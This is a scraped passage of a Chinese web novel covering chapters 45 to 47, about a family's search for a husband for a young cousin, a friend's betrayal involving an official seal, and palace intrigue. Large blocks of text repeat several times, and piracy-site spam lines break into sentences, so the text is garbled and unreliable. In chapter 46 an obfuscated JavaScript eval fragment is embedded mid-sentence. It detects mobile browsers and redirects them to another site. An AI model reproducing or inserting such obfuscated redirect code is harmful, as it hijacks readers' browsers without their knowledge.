雨哥儿忍不住对自己娘亲哭诉,“比打我骂我还要过分,那些人阴阳怪气的笑话我,我……我学都学不出来!” 雨哥儿哭得格外伤心,他一去赴宴,刚开始众人听说他是宋家的表少爷,还给他几分薄面,可那些世家公子小姐的弹琴读诗,说话风雅,他却是连大字都不识的文盲一个,在其中显得格外突兀。 而且他们行走坐卧皆有规矩,自己不管在宴席上做什么都会引来他人的指指点点,那些目光简直比拿刀子割他还要难受。 “既然没打没骂,有什么可愁苦的?是你自己非要说来,这么点小气都受不了,咱们镇上和你玩的那几个小哥儿能嫁到盛京来?”常舅母理解不了,被人看几眼怎么了?出去相看人家可不就是让那些个夫人看的吗? “那……那我过阵子再去。”雨哥儿说不上来,他不想再去了,但若是真的这么回家,他又不甘心。 常舅母心里急,“还要等到哪日?过几天我可就要回家了,真要把你爹和你哥丢在家里不成?” 雨哥儿不大懂大人的事,怕新做的罗帕抹着眼泪说:“县太爷不是说不抓他们吗?有什么事?” “你懂个啥!那是现在不抓。”常舅母下炕打开柜子,从角落的包袱里取出一封信来,这是县太爷让他递交给宋亭舟的信,可是这么大的事她哪敢一来就交给宋亭舟啊,还盼着捞些好处再把信给宋亭舟。 这会儿她拍着胸口有些庆幸,幸好没有一来就给大郎,不然按照他媳妇说的那样,家里俩男人岂不是都要**? 县老爷又在等着京里的回信,暂且只能拖拖,可又能拖上多久? 要不找大郎问问? 不成,万一他真像他夫郎说的那样,直接把他舅舅表弟都给砍了咋办? 常舅母想着宋亭舟那张 不近人情的冷脸,心里犯愁。 雨哥儿缓了小会儿,又重新洗了把脸,“娘,表嫂好像病了,大家都在正院,我们也过去看看吧。” “那么老多的人在,咱们过去干啥?就一个风寒,搞得兴师动众。”常舅母还在心里埋怨孟晚在她这个长辈面前拿腔作调,宋亭舟这个外甥对她们家又不亲厚。 雨哥儿还是觉得不妥,他站起来整了整衣裳,“我们在大姑这里吃穿用度都是表嫂出钱,他病了不去看看说不过去吧?走吧娘。” 他把常舅母硬拉到前院,走到一半被刚从孟晚屋里出来的常金花拦住了,“刚喝了药睡了,有这份心意就好,让他歇着吧。” 孟晚喝过药就昏昏沉沉地睡了,宋亭舟守在他床边看那张药方看的入神,过了一会儿才将方子收起,探了探孟晚的额头。 倒是没有发烧,还因为被子盖得太严实,额头出了一点细汗。 宋亭舟用温水洗了洗帕子替他擦干净额头的汗,然后就又坐在孟晚身边发呆,他每天总是忙这忙那,这会儿什么都不想做,只想安静的陪孟晚待会儿。 窗外吹来一阵阴风,孟晚的发丝被吹起一缕,宋亭舟轻手轻脚的把那缕发丝捋顺,然后起身把窗户都关上。 天上云层厚厚地汇集到一起,阴云密布,毫无预兆的变了天,雷电不安的在云层中攒动,随时准备发动。 长天黯黯,风雨欲来。 孟晚病了三四天,之后虽然还是有些鼻塞咳嗽,但好歹不严重,养养也就好了。 他没滋没味的喝着白粥,问旁边给他剥鸡蛋的宋亭舟,“雨哥儿是不是又出门了,别说,这孩子心理承受力倒是挺强。”也不知道是不是年纪太小缺根筋,天天斗志激昂的去赴宴,再哭着跑回家。 宋亭舟把鸡蛋喂到他嘴边,孟晚咬了一口,是普通水煮白蛋,他不大乐意吃。 “晚儿。”宋亭舟皱着眉。 年后开始孟晚就见瘦,这才病了几天,下颌的线条就越发明显。 “好吧。”孟晚垂下眸子,自己伸手将蛋接过来一口一口的吃掉。 宋亭舟在家,天天看着他吃饭,不时还给加加餐,孟晚跑到了常金花屋子里去,正赶上常舅母在同常金花吹嘘,让她给雨哥儿找婆家的事把把关。 这两天孟晚病着的时候,还真有两家看出了雨哥儿在挑婿,这种事多是长辈张罗,雨哥儿一个未出阁的哥儿一次两次就算了,总是没有长辈带着,难免有人猜测他不受孟晚待见。 高门大户是不可能相上雨哥儿这样没规矩的小哥儿,下适冗散小官倒是还有两个。 多年未动职位,为了搭上宋亭舟顺天府尹这位手握实权的高官,别说是娶宋家一个表亲,就是他家的大丫鬟也是使得的。 孟晚踏进来的脚再收回已经晚了,常舅母欢天喜地的把他请进来。 “晚哥儿,你看看这两家人到底哪家好,都说是京中的官老爷,昨天两家的孩子我也见了,长得也整齐。” 昨天媒人带人上门,黄叶怕扰了孟晚休息,同他说了一声给请到了后院常金花这里。 到底是自己亲侄儿,常金花犹豫着说:“晚哥儿,不然你帮忙看上一看?” 不近人情的冷脸,心里犯愁。 雨哥儿缓了小会儿,又重新洗了把脸,“娘,表嫂好像病了,大家都在正院,我们也过去看看吧。” “那么老多的人在,咱们过去干啥?就一个风寒,搞得兴师动众。”常舅母还在心里埋怨孟晚在她这个长辈面前拿腔作调,宋亭舟这个外甥对她们家又不亲厚。 雨哥儿还是觉得不妥,他站起来整了整衣裳,“我们在大姑这里吃穿用度都是表嫂出钱,他病了不去看看说不过去吧?走吧娘。” 他把常舅母硬拉到前院,走到一半被刚从孟晚屋里出来的常金花拦住了,“刚喝了药睡了,有这份心意就好,让他歇着吧。” 孟晚喝过药就昏昏沉沉地睡了,宋亭舟守在他床边看那张药方看的入神,过了一会儿才将方子收起,探了探孟晚的额头。 倒是没有发烧,还因为被子盖得太严实,额头出了一点细汗。 宋亭舟用温水洗了洗帕子替他擦干净额头的汗,然后就又坐在孟晚身边发呆,他每天总是忙这忙那,这会儿什么都不想做,只想安静的陪孟晚待会儿。 窗外吹来一阵阴风,孟晚的发丝被吹起一缕,宋亭舟轻手轻脚的把那缕发丝捋顺,然后起身把窗户都关上。 天上云层厚厚地汇集到一起,阴云密布,毫无预兆的变了天,雷电不安的在云层中攒动,随时准备发动。 长天黯黯,风雨欲来。 孟晚病了三四天,之后虽然还是有些鼻塞咳嗽,但好歹不严重,养养也就好了。 他没滋没味的喝着白粥,问旁边给他剥鸡蛋的宋亭舟,“雨哥儿是不是又出门了,别说,这孩子心理承受力倒是挺强。”也不知道是不是年纪太小缺根筋,天天斗志激昂的去赴宴,再哭着跑回家。 宋亭舟把鸡蛋喂到他嘴边,孟晚咬了一口,是普通水煮白蛋,他不大乐意吃。 “晚儿。”宋亭舟皱着眉。 年后开始孟晚就见瘦,这才病了几天,下颌的线条就越发明显。 “好吧。”孟晚垂下眸子,自己伸手将蛋接过来一口一口的吃掉。 宋亭舟在家,天天看着他吃饭,不时还给加加餐,孟晚跑到了常金花屋子里去,正赶上常舅母在同常金花吹嘘,让她给雨哥儿找婆家的事把把关。 这两天孟晚病着的时候,还真有两家看出了雨哥儿在挑婿,这种事多是长辈张罗,雨哥儿一个未出阁的哥儿一次两次就算了,总是没有长辈带着,难免有人猜测他不受孟晚待见。 高门大户是不可能相上雨哥儿这样没规矩的小哥儿,下适冗散小官倒是还有两个。 多年未动职位,为了搭上宋亭舟顺天府尹这位手握实权的高官,别说是娶宋家一个表亲,就是他家的大丫鬟也是使得的。 孟晚踏进来的脚再收回已经晚了,常舅母欢天喜地的把他请进来。 “晚哥儿,你看看这两家人到底哪家好,都说是京中的官老爷,昨天两家的孩子我也见了,长得也整齐。” 昨天媒人带人上门,黄叶怕扰了孟晚休息,同他说了一声给请到了后院常金花这里。 到底是自己亲侄儿,常金花犹豫着说:“晚哥儿,不然你帮忙看上一看?” 不近人情的冷脸,心里犯愁。 雨哥儿缓了小会儿,又重新洗了把脸,“娘,表嫂好像病了,大家都在正院,我们也过去看看吧。” “那么老多的人在,咱们过去干啥?就一个风寒,搞得兴师动众。”常舅母还在心里埋怨孟晚在她这个长辈面前拿腔作调,宋亭舟这个外甥对她们家又不亲厚。 雨哥儿还是觉得不妥,他站起来整了整衣裳,“我们在大姑这里吃穿用度都是表嫂出钱,他病了不去看看说不过去吧?走吧娘。” 他把常舅母硬拉到前院,走到一半被刚从孟晚屋里出来的常金花拦住了,“刚喝了药睡了,有这份心意就好,让他歇着吧。” 孟晚喝过药就昏昏沉沉地睡了,宋亭舟守在他床边看那张药方看的入神,过了一会儿才将方子收起,探了探孟晚的额头。 倒是没有发烧,还因为被子盖得太严实,额头出了一点细汗。 宋亭舟用温水洗了洗帕子替他擦干净额头的汗,然后就又坐在孟晚身边发呆,他每天总是忙这忙那,这会儿什么都不想做,只想安静的陪孟晚待会儿。 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这两天孟晚病着的时候,还真有两家看出了雨哥儿在挑婿,这种事多是长辈张罗,雨哥儿一个未出阁的哥儿一次两次就算了,总是没有长辈带着,难免有人猜测他不受孟晚待见。 高门大户是不可能相上雨哥儿这样没规矩的小哥儿,下适冗散小官倒是还有两个。 多年未动职位,为了搭上宋亭舟顺天府尹这位手握实权的高官,别说是娶宋家一个表亲,就是他家的大丫鬟也是使得的。 孟晚踏进来的脚再收回已经晚了,常舅母欢天喜地的把他请进来。 “晚哥儿,你看看这两家人到底哪家好,都说是京中的官老爷,昨天两家的孩子我也见了,长得也整齐。” 昨天媒人带人上门,黄叶怕扰了孟晚休息,同他说了一声给请到了后院常金花这里。 到底是自己亲侄儿,常金花犹豫着说:“晚哥儿,不然你帮忙看上一看?” 不近人情的冷脸,心里犯愁。 雨哥儿缓了小会儿,又重新洗了把脸,“娘,表嫂好像病了,大家都在正院,我们也过去看看吧。” “那么老多的人在,咱们过去干啥?就一个风寒,搞得兴师动众。”常舅母还在心里埋怨孟晚在她这个长辈面前拿腔作调,宋亭舟这个外甥对她们家又不亲厚。 雨哥儿还是觉得不妥,他站起来整了整衣裳,“我们在大姑这里吃穿用度都是表嫂出钱,他病了不去看看说不过去吧?走吧娘。” 他把常舅母硬拉到前院,走到一半被刚从孟晚屋里出来的常金花拦住了,“刚喝了药睡了,有这份心意就好,让他歇着吧。” 孟晚喝过药就昏昏沉沉地睡了,宋亭舟守在他床边看那张药方看的入神,过了一会儿才将方子收起,探了探孟晚的额头。 倒是没有发烧,还因为被子盖得太严实,额头出了一点细汗。 宋亭舟用温水洗了洗帕子替他擦干净额头的汗,然后就又坐在孟晚身边发呆,他每天总是忙这忙那,这会儿什么都不想做,只想安静的陪孟晚待会儿。 窗外吹来一阵阴风,孟晚的发丝被吹起一缕,宋亭舟轻手轻脚的把那缕发丝捋顺,然后起身把窗户都关上。 天上云层厚厚地汇集到一起,阴云密布,毫无预兆的变了天,雷电不安的在云层中攒动,随时准备发动。 长天黯黯,风雨欲来。 孟晚病了三四天,之后虽然还是有些鼻塞咳嗽,但好歹不严重,养养也就好了。 他没滋没味的喝着白粥,问旁边给他剥鸡蛋的宋亭舟,“雨哥儿是不是又出门了,别说,这孩子心理承受力倒是挺强。”也不知道是不是年纪太小缺根筋,天天斗志激昂的去赴宴,再哭着跑回家。 宋亭舟把鸡蛋喂到他嘴边,孟晚咬了一口,是普通水煮白蛋,他不大乐意吃。 “晚儿。”宋亭舟皱着眉。 年后开始孟晚就见瘦,这才病了几天,下颌的线条就越发明显。 “好吧。”孟晚垂下眸子,自己伸手将蛋接过来一口一口的吃掉。 宋亭舟在家,天天看着他吃饭,不时还给加加餐,孟晚跑到了常金花屋子里去,正赶上常舅母在同常金花吹嘘,让她给雨哥儿找婆家的事把把关。 这两天孟晚病着的时候,还真有两家看出了雨哥儿在挑婿,这种事多是长辈张罗,雨哥儿一个未出阁的哥儿一次两次就算了,总是没有长辈带着,难免有人猜测他不受孟晚待见。 高门大户是不可能相上雨哥儿这样没规矩的小哥儿,下适冗散小官倒是还有两个。 多年未动职位,为了搭上宋亭舟顺天府尹这位手握实权的高官,别说是娶宋家一个表亲,就是他家的大丫鬟也是使得的。 孟晚踏进来的脚再收回已经晚了,常舅母欢天喜地的把他请进来。 “晚哥儿,你看看这两家人到底哪家好,都说是京中的官老爷,昨天两家的孩子我也见了,长得也整齐。” 昨天媒人带人上门,黄叶怕扰了孟晚休息,同他说了一声给请到了后院常金花这里。 到底是自己亲侄儿,常金花犹豫着说:“晚哥儿,不然你帮忙看上一看?” 不近人情的冷脸,心里犯愁。 雨哥儿缓了小会儿,又重新洗了把脸,“娘,表嫂好像病了,大家都在正院,我们也过去看看吧。” “那么老多的人在,咱们过去干啥?就一个风寒,搞得兴师动众。”常舅母还在心里埋怨孟晚在她这个长辈面前拿腔作调,宋亭舟这个外甥对她们家又不亲厚。 雨哥儿还是觉得不妥,他站起来整了整衣裳,“我们在大姑这里吃穿用度都是表嫂出钱,他病了不去看看说不过去吧?走吧娘。” 他把常舅母硬拉到前院,走到一半被刚从孟晚屋里出来的常金花拦住了,“刚喝了药睡了,有这份心意就好,让他歇着吧。” 孟晚喝过药就昏昏沉沉地睡了,宋亭舟守在他床边看那张药方看的入神,过了一会儿才将方子收起,探了探孟晚的额头。 倒是没有发烧,还因为被子盖得太严实,额头出了一点细汗。 宋亭舟用温水洗了洗帕子替他擦干净额头的汗,然后就又坐在孟晚身边发呆,他每天总是忙这忙那,这会儿什么都不想做,只想安静的陪孟晚待会儿。 窗外吹来一阵阴风,孟晚的发丝被吹起一缕,宋亭舟轻手轻脚的把那缕发丝捋顺,然后起身把窗户都关上。 天上云层厚厚地汇集到一起,阴云密布,毫无预兆的变了天,雷电不安的在云层中攒动,随时准备发动。 长天黯黯,风雨欲来。 孟晚病了三四天,之后虽然还是有些鼻塞咳嗽,但好歹不严重,养养也就好了。 他没滋没味的喝着白粥,问旁边给他剥鸡蛋的宋亭舟,“雨哥儿是不是又出门了,别说,这孩子心理承受力倒是挺强。”也不知道是不是年纪太小缺根筋,天天斗志激昂的去赴宴,再哭着跑回家。 宋亭舟把鸡蛋喂到他嘴边,孟晚咬了一口,是普通水煮白蛋,他不大乐意吃。 “晚儿。”宋亭舟皱着眉。 年后开始孟晚就见瘦,这才病了几天,下颌的线条就越发明显。 “好吧。”孟晚垂下眸子,自己伸手将蛋接过来一口一口的吃掉。 宋亭舟在家,天天看着他吃饭,不时还给加加餐,孟晚跑到了常金花屋子里去,正赶上常舅母在同常金花吹嘘,让她给雨哥儿找婆家的事把把关。 这两天孟晚病着的时候,还真有两家看出了雨哥儿在挑婿,这种事多是长辈张罗,雨哥儿一个未出阁的哥儿一次两次就算了,总是没有长辈带着,难免有人猜测他不受孟晚待见。 高门大户是不可能相上雨哥儿这样没规矩的小哥儿,下适冗散小官倒是还有两个。 多年未动职位,为了搭上宋亭舟顺天府尹这位手握实权的高官,别说是娶宋家一个表亲,就是他家的大丫鬟也是使得的。 孟晚踏进来的脚再收回已经晚了,常舅母欢天喜地的把他请进来。 “晚哥儿,你看看这两家人到底哪家好,都说是京中的官老爷,昨天两家的孩子我也见了,长得也整齐。” 昨天媒人带人上门,黄叶怕扰了孟晚休息,同他说了一声给请到了后院常金花这里。 到底是自己亲侄儿,常金花犹豫着说:“晚哥儿,不然你帮忙看上一看?” 第46章 兄弟 禹国就是这点麻烦,姻亲关系太重要了,哪怕孟晚不喜欢常家人,也怕雨哥儿真找了个混人,牵连他们家。 本来以为吓一吓这孩子能老实回家的,既然他一心留京,就随他的愿吧。 “都是哪两家?孟晚坐到常金花身边去,将常舅母挤到另一头。 常舅母刚要说话,常金花便已经作答,“一家说是北城兵马指挥的弟弟,还有一个是宛平县知县的儿子。 常金花虽然偶尔听孟晚和宋亭舟说上几嘴朝中的事,但能将两家的官职说的这么清楚明了,显然是真的上了心的。 孟晚的软肋也就是常金花了,他叹了口气,“两家都是正六品的官,倒也合适,成吧,那我叫人打听打听。 岂料刚才还欢天喜地的常舅母一听孟晚的话,惊叫道:“什么?才是六品官? 没等孟晚发作,常金花已经开始训斥上了,“晚哥儿和大郎成亲的时候,大郎也只是个童生罢了,如今你牛气起来了,连六品官的人家还嫌低?既然这样我也不管了,免得日后雨哥儿嫁的不顺心,反倒埋怨我这个做姑的。 雨哥儿在门外听到这儿,忙走进来,“大姑,你别生气,我娘她就是这样的,你别和他计较,六品官的人家已经很好了,我听人说过,京官比普通地方的要中用不少呢! 孟晚一笑,“中用?这说法有趣。 雨哥儿这几天已经经受够了那些高门大院的公子小姐们嘲讽的样子,多少也明白了他娘说的什么伯爵侯爵连看都不会看他一眼,不光如此,人家稍有能力的京官眼睛也不可能放到他身上。 六品官员的亲弟和儿子,已经很好了。 既然答应了常金花,孟晚便找人仔细打探了一番,甚至还让蚩羽夜里爬墙头去偷听。 “仅是我打听到的与你说上一声。孟晚轻咳一声,端起茶杯来润润嗓子对面前坐着的雨哥儿道。 雨哥儿乖巧地点了点头,脸庞有些微微泛红,双目中带着直白的期待。 “北城兵马指挥的弟弟姓马名胥,今年十九,在北城兵马司他亲哥哥手下做个吏目。和后勤主管的意思差不多,算是要职了,而且和他哥一个衙门,只要他哥能升,他日后就同样能提拔上去,算是小有前途。 雨哥儿眼神迷茫,显然听不大懂。 常金花在一头问道:“马 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 家的家世人口可还清白?” 孟晚想了想蚩羽偷听到的话 雨哥儿“腾”地一下站起来“那……那不成的。” 常金花也蹙眉“前几天那媒婆上门的时候可没说马家二爷成过亲这不是骗人吗?” “应当不算刻意诓骗他们家也没那么大的胆子只是媒婆若是想保成这个媒总不能上来就说马胥娶过妻多半是先试探试探雨哥儿有没有那个意思。”孟晚倒是能猜到几分马家人的心思觉得自家条件不好先试上一试若雨哥儿真有意向再如实相告。 “宛平县知县的儿子呢?”常金花又问。 孟晚微笑“知县公子十六的时候房里就收了个通房丫鬟做姨娘。这会儿他二十岁姨娘已经给他生了一儿一女了。” 按理说宛平县和大兴县都归顺天府管宋亭舟还能震慑一二而且两县位处盛京城内位置特殊远比普通的知县权利更大地位更高。 可惜……是个痴情种。 雨哥儿彻底懵了“姨娘?一儿一女?” 他是知道姨娘的镇上的地主老爷就有好几个姨娘但是寻常百姓娶一妻都费劲更别说是纳妾了大家都默认一夫一妻。 如今竟然还冒出两个孩子? 雨哥儿这会儿忽然从被人提亲的惊喜中清醒过来与忍受外人嘲笑不同成亲可是要过一辈子的。 常金花特意把说话不着调的弟妹支去外面看戏这会儿对侄儿说道:“你娘嘴上没个把门人也不清醒我不想跟她说什么这两家的情况你表嫂都说了唉你自己拿着主意吧。” 雨哥儿脑子这会儿早就已经乱成一团浆糊只觉得事情和他想的有太大出入怎么向他提亲的人家都是这样的呢? 孟晚又喝了一口热茶额头上泛起一层虚汗若是年后那阵子雨哥儿过来想必是有几家好人家过来提亲的他偏偏撞在了宋亭舟被陛下呵斥禁足的时候。 朝中风向变动的快谁也不敢轻举妄动更遑论商议亲事了。 —— 今日外面下着细如牛毛的小雨这样的气候常舅母本来愿意在家闲着吃零嘴来宋家这段时间她嘴都没闲下来过生生将自己吃胖了两圈。 但常金花给了银 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 子叫她出来看戏她心里还琢磨着旁的事倒是也要出门一趟便得了便宜还卖乖故作不情愿的出门来。 这会儿抛下正事得意洋洋地在瓦舍中看起了戏品到兴时便也想往台上扔上几个铜板但常金花给她的是银两手里的铜板是她自己的便舍不得赏给那些伶人了。 一场戏看完她打发走跟着她出来引路的苇莺偷摸花上两个铜板租了辆马车送她到顺天府门口殊不知另一辆马车就跟在她身后。 常舅母倒也有些“小聪明”她这几天思前想后这事宋亭舟不办他衙门里的其他人办也是一样的总归比谷阳县的县太爷官职高。 她是大郎的亲舅母趁大郎这几天不在顺天府她自己找上来得了回信就直接返乡把雨哥儿留在他大姑这里备嫁还能省下她一笔嫁妆钱。 越想越觉得此法可行常舅母奓着胆子往衙门走。 “这不是宋兄的舅母吗?”远处有声音喊她。 常舅母差点没被这突如其来的声音吓破胆回头一看街边马车上打着伞下来个人是个富贵长相的青年男子蓄了一撇小胡子眼见着还有点眼熟。 “你是?” 祝泽宁飒然一笑带着富家公子的派头 常舅母顿时豁然开朗“是你你和另外一个姓吴的是大郎的好友还来家里吃过几次饭。” 祝泽宁言语温和“常舅母说的没错现下正下着雨我正好要去宋家找景行不然将你也送回去吧。” 常舅母不自然的笑笑“那个……你去吧我暂时还不回去。” “哦?”祝泽宁讶异地望着她“常舅母还有别的事要办?” “是是有点别的事。”常舅母说着眼睛不自觉地往一侧飘去。 祝泽宁若有所思的看着面前顺天府的大门“常舅母是要去衙门办事吗?怎么不直接同景行说。” 常舅母没忍住抱怨一句“同他说有什么用?” 祝泽宁眼底晦暗不明“舅母这话是怎么说的?景行是您亲外甥断然不会推脱你家的事。只是他身处高位有许多时候不方便亲自出面您若是有什么难处不若和我说说……” —— 孟晚没在常金花那里待多久便被宋亭舟抓 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 回去吃加餐。 “这什么东西啊?怎么还一股子怪味?”孟晚捏着鼻子远离桌子上黑乎乎的药汁。 宋亭舟仿佛没有嗅觉似的,端起碗来用勺子舀里面粘稠的汁液,“黄叶给你炖的枇杷膏,过来喝了。” 孟晚头都大了,“他从哪儿学来的黑暗料理?” “嗯?”宋亭舟挑眉看他。 孟晚臣服于他的**之下,愁眉苦脸的走过去被宋亭舟拉坐在腿上,“啊……” 那个味道真的难以形容,孟晚喝完那碗东西,感觉整个人都不好了,重新刷了个牙才感觉自己活了过来。 宋亭舟不知道从哪儿拿了一包芒果干给孟晚,但只许他吃一片,孟晚珍惜了吃完了,窝在宋亭舟怀里哼哼,磨得宋亭舟又喂了他一片。 黄叶见两人腻歪的样子,便把门给关上了。 “晚儿。”宋亭舟垂眸注视怀里的人。 孟晚抬眼与他对视,“嗯?” 宋亭舟抚着他脑后的玉簪,“怕不怕?” 孟晚嘴角漾起个淡然的笑,“你忘了当初我们第一次赴京,我在船上对你说的那番话?” 宋亭舟在他唇边轻轻啄吻,“记得,你说的每一句话我都记得。” 孟晚将手搭在宋亭舟肩膀上,拿鼻尖磨蹭他的,“宋亭舟,无需顾虑。无论你是三泉村的童生,还是偏远之地的知县,你去哪里,我便跟你去哪里。” 他爱人绝非庸碌之流,胸怀着自己的理想与抱负。宋亭舟从未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16589588|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对孟晚有过半分束缚,孟晚又怎会去牵制他的前路呢? 宋亭舟眼中带笑,“好。” 刚关上的房门又被敲响,黄叶在门外轻声说:“大人,祝大人过来找你了。” 屋内本来还在温存的两人一齐叹了口气,真是…… 宋家的书房里,祝泽宁打趣宋亭舟道:“你在家还真坐得住啊?” “圣命难违,坐不坐得住也要坐。”书房的门大敞,宋亭舟站在桌边出神的看着手里的印章。 祝泽宁眸光一闪,端起茶盏一饮而尽,“你为了方便处理政务,将印章手信都带回来了?” 宋亭舟随手在一张文书上印了章印,将文书收好放在书架上,“嗯,一直放在书房,方便取用。” 他书房里没什么见不得人的东西 你的朋友正在书荒,快去帮帮他吧 ,平常院子里一直有下人走动,闲杂人等不敢进来打扰。往常三人相互串门,也从来没有对彼此设防过,顶多不方便见人的就不拿出来好了。 “你今日休沐?”宋亭舟问。 祝泽宁拖着把椅子坐在他对面,“是啊,前两天喝多了,在家醒醒酒。” 宋亭舟抓着印章的手,从刚才握上的那一瞬间就一直在轻微颤动,这会儿放在身侧也没有平息,“泽宁,我们虽然中间相隔七年,只在中途短暂的见了两面,但你与昭远是我此生最要好的兄弟。” 祝泽宁鼻腔一酸,快速低头以掩饰自己泛着悲恸的眼神,他也不想,亦抵抗过。 可就是忍不住,祝泽宁长这么大,从未受过那样的苦头,他抵抗不住。 控制好面部表情,祝泽宁才抬头微笑,“突然说这些干嘛,不像是你的作风。” 宋亭舟定定地看了他一会儿,直到祝泽宁又要低下头去,才开口说道:“没什么,晚儿说要让你给兰娘带些东西,我去到正院取来给你,你等我一会儿。” 他走后,祝泽宁攥紧拳头,用力往自己腿上捶了一拳。 疼痛感传来,祝泽宁倒吸了一口凉气,他闭着眼睛从怀中掏出一封书信来,指尖用力到泛着青白之色,终究是拿起了宋亭舟顺天府尹的印章,用力按在上面。 “泽宁。”宋亭舟回来的时候,祝泽宁已经坐回原位,正在一杯接一杯的喝茶。 “这是何物?”祝泽宁看他一手端着个碗,另一只手又提了一筐子菜回来。 宋亭舟眼睛不经意间扫过自己书桌的桌面上的印章,嘴角扯平,“庄子里的菜下来不少,晚儿说给兰娘拿些绿叶子菜。” 他越靠近,祝泽宁越闻到一股怪味,“我是问你手里这个。” 宋亭舟将菜篮子放在地上,把碗往前一推,“给你的,看你今天喝那么多茶,定是嗓子干燥,喝这个润润嗓子,是晚儿的好意,不可托辞。” 祝泽宁难以置信,“这玩意给我喝……”干嘛? 后面的话没说出来,因为他看见宋亭舟此时的样子,明明自己闲赋在家,还不知道皇上什么时候才能解气。却还惦记着他,心中愧疚难当,干脆把那碗黑乎乎的东西当做苦酒,一口给闷了。 亲自提着那篮子绿叶菜,祝泽宁也没再打伞,就顶着细密的小雨,一瘸一拐地出门。 宋亭舟在身后目送他离去,假装信了他那句腿坐麻了的话。 常舅母办好了一桩要事,心情大好,只不过回来一听说儿子的亲事不顺,不免又说上几句闲话。 常金花数落了她两句,叫她若是再瞎折腾,就带着雨哥儿回老家去,她们再也不管了。 没成想常舅母一气之下,竟然还真的收拾起了包袱,三更半夜就偷偷溜走了。 孟晚叫人给做得衣裳,常金花给她的大金镯子,这些一样没少带,来的时候一个包袱,走的时候拎了三四个。 清早常金花起来发现人真走了,又气又急,“平时里也看不出来她这么好强啊?说了两句还不乐意了。自己一个人乱跑,再叫拍花贼给拍了去。” 雨哥儿也跟着着急,暗恼自己母亲不靠谱,把他丢下了。 “不成,我得出去找找。”常金花要带着人出门去找。 屋里的云雀在后头追着说:“老夫人,您别急啊,夫郎说不用找,过两天就有信了。” 第47章 革职 “别来无恙啊,皇弟。”郭启秀身着黄袍,静立在龙榻前,明明是张四十岁左右的中年人面容,声音却沧桑无比。 皇上圆目欲裂,像是极为震惊,又像是惊惧害怕,“怎么可能,朕当年明明亲手了结了你!” “呵。”郭启秀冷笑了一声,“你枉顾父皇旨意,与聂川合谋篡改诏书,又赶尽杀绝,灭了我子孙后代,竟然也能安稳安稳夜夜好梦吗?” “梦?对,这一定是梦!”皇上被他提醒,像是意识到了人死不成鬼魂,便成梦魇。他乃天子,百邪不侵,皇兄又是他亲手所杀,不可能死而复生,那这就一定是梦! 苍老的帝王面色狰狞,突然一把拔下床边悬挂的宝剑,厉声喝道:“朕乃天子,是这天下最贵重的人,你只是阻挠朕登基的蛇而已,朕才是真龙天子!” 他提着宝剑劈砍,“朕能杀你一次,就能杀你千次万次!” 聂贵妃在他一声声撕心裂肺的喊叫声中睁开眼睛,美眸中并无一丝困倦,她淡然地下了床,坐到外间的贵妃榻上去,看着往日高高在上的帝王发疯。 守夜的宫娥为她披上一件外衣,聂贵妃拢了拢衣裳,冷声吩咐,“叫外面的人嘴巴把嘴都守紧,舌头若是不想要便割了喂狗。” 宫娥退下后,聂贵妃继续看着皇上癫狂的样子,他躺在床上手舞足蹈,红润的脸上满是狰狞。 “真是报应啊,你也有今天?”聂贵妃唇边勾起冷冽的笑,只觉得通体舒泰,胸口中多年的阴霾终于一扫而空。 她永远也忘不了床上高贵的陛下刚登基的时候,那时自己不过十八岁,正是全心全意爱着、敬着他的年岁。 察觉到自己怀孕,她满心欢喜,恨不得蹦着跳着去找皇上告知他这个好消息。 可她听到了什么?自己最爱的人,正对神出鬼没的潜龙卫交代,无论日后是谁登基,都不能聂氏所出,要是有一天他驾崩,便要潜龙卫将聂氏了结陪葬皇陵。 那凉薄的语调,不是想同爱人生死同穴的期待,而是帝王早早便给她布好的死路。 聂贵妃不想死,回想曾经的一切甜情蜜意都让她恶心,这个男人也让她恶心。 肚子里的孩子是男、是女、是小哥儿,一切都不重要了,她要活! 聂贵妃在榻上坐了一夜,等天蒙蒙亮,才终于欣赏够了帝王狼狈的姿态,起身穿衣在宫 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 娥的伺候下梳洗穿衣。 本来恹恹的表情在皇上醒来后变得虚伪、好懂、和讨好是那种十分好拿捏的傻女人形象。 皇上显然还记得昨天晚上的噩梦他表情难看一句话都没有对聂贵妃说反倒是因为用膳的时候宫娥布的菜不合口便大发雷霆命郑瑞将其拖下去交由国师处置。 没人可怜那个小宫女也没有人去傻乎乎问她的下场所有人都知道 聂贵妃目送步辇离去便又要更换翟衣去会亲殿与父亲聂川相见。 会亲殿内侍立着两名太监两名宫女再加上聂贵妃身边的四名宫娥共八名闲人在场。 “臣定襄国公聂川叩见贵妃娘娘娘娘圣安。”聂川候在会亲殿中隔着青色纱帘对聂贵妃行四拜礼。 皇权贵重贵妃是君侧贵眷定襄国公虽为一品勋贵仍需恪守尊卑。 聂贵妃在纱帘后微微颔首示意“劳国公大人挂念请坐吧。” 场面话说完贵妃身边的宫娥便将那四名宫女太监领到了殿外。 一时间场面寂静聂川和聂贵妃谁都没有开口。 “澜儿。”聂国公先道。 聂川乃一品高手他无异样便说明潜龙卫的人不在附近。 聂贵妃松懈下来“父亲可能拦得住秦家的人?” “你太过急躁了得知太子未死的消息后我便已经派兵封锁了所有官家驿站秦家依旧镇守在东南边境就算他回来也不是为父的对手。”聂川纵然须发皆白但坐下的时候气势仍像一座无法撼动的大山。 聂贵妃冷声说道:“文昭回京在即廉王传信说太子手中握着他与安南王之间的书信更有安南王印了王印的回信。若真让他顺利入城不光聂家这些年的部署都付之东流叛国大罪之下聂氏全族都性命不保。” “骑兵早已准备妥当娘娘不必忧心。”聂川依旧稳坐聂贵妃的消息都是他叫人传进去的他岂会不知? “父亲还是怨女儿当初没能救下六弟一命吗?”聂贵妃语气颇重她这是不满国公反应平淡想刺一刺他。 